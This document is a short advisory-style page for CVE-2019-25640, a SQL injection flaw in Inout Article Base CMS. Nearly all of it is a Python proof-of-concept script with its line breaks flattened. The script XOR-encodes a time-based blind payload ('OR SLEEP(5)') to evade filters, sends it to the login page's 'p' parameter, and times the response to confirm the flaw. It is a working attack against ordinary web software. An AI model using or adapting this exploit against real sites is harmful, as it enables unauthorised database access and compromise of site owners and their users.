CVE-2019-25640 Inout Article Base CMS SQL注入漏洞

import requests import time def xor_encode(payload, key): """Helper to XOR encode payload""" return ''.join(chr(ord(c) ^ key) for c in payload) target_url = "http://target-host/portalLogin.php" # Payload to test time-based blind injection # Logic: ' OR SLEEP(5)-- raw_payload = "' OR SLEEP(5)--" key = 1 # Example XOR key # Encode payload to bypass filters encoded_payload = xor_encode(raw_payload, key) params = { "p": encoded_payload, "u": "test_user" } try: start_time = time.time() response = requests.get(target_url, params=params, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Vulnerability Confirmed! Response took {elapsed:.2f}s") else: print(f"[-] Not Vulnerable. Response took {elapsed:.2f}s") except Exception as e: print(f"Error occurred: {e}")